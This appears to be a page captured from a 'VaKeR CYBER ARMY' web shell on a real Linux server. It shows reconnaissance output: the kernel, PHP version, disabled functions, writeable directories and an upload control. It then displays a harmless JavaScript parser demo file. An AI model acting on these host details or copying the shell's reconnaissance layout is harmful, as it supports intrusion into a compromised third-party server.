VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-form/demo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-form/demo/sclange_parser.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>SCLangParser</title>
    <script src="https://absol.cf/absol-full/absol/absol.dependents.js"></script>
    <script src="../absol/absol_form.js"></script>
</head>
<body>
<script>
    fetch('./sclang_sample/2.sc.js').then(res=> res.text()).then(txt=>{
        var now = new Date().getTime();
        var res = absol.sclang.SCParser.parse(txt, 'program');
        console.log('parsing time:', new Date().getTime() - now)
        // console.log(res, res.ast, res.error);
        var instance;
        if (res.error) {
            console.log(txt.substring(0, res.tokens[res.error.tokenIdx].end))
            console.log(res.tokens)
            console.log(res)
        }
        else if (res.ast) {
            console.log(res.ast);
            instance = new absol.sclang.SCProgramInstance(res.ast, {
                print: function () {
                    console.log.apply(console, arguments);
                },
                console: console,
                today: function () {
                    return new Date();
                },
                delay: function (mil) {
                    return new Promise(function (rs) {
                        setTimeout(rs, mil);
                    })
                }
            });
            now = new Date().getTime();
            instance.exec();
            console.log('run time:', new Date().getTime() - now, instance.counter);
        }
    })
</script>
</body>
</html>

VaKeR 2022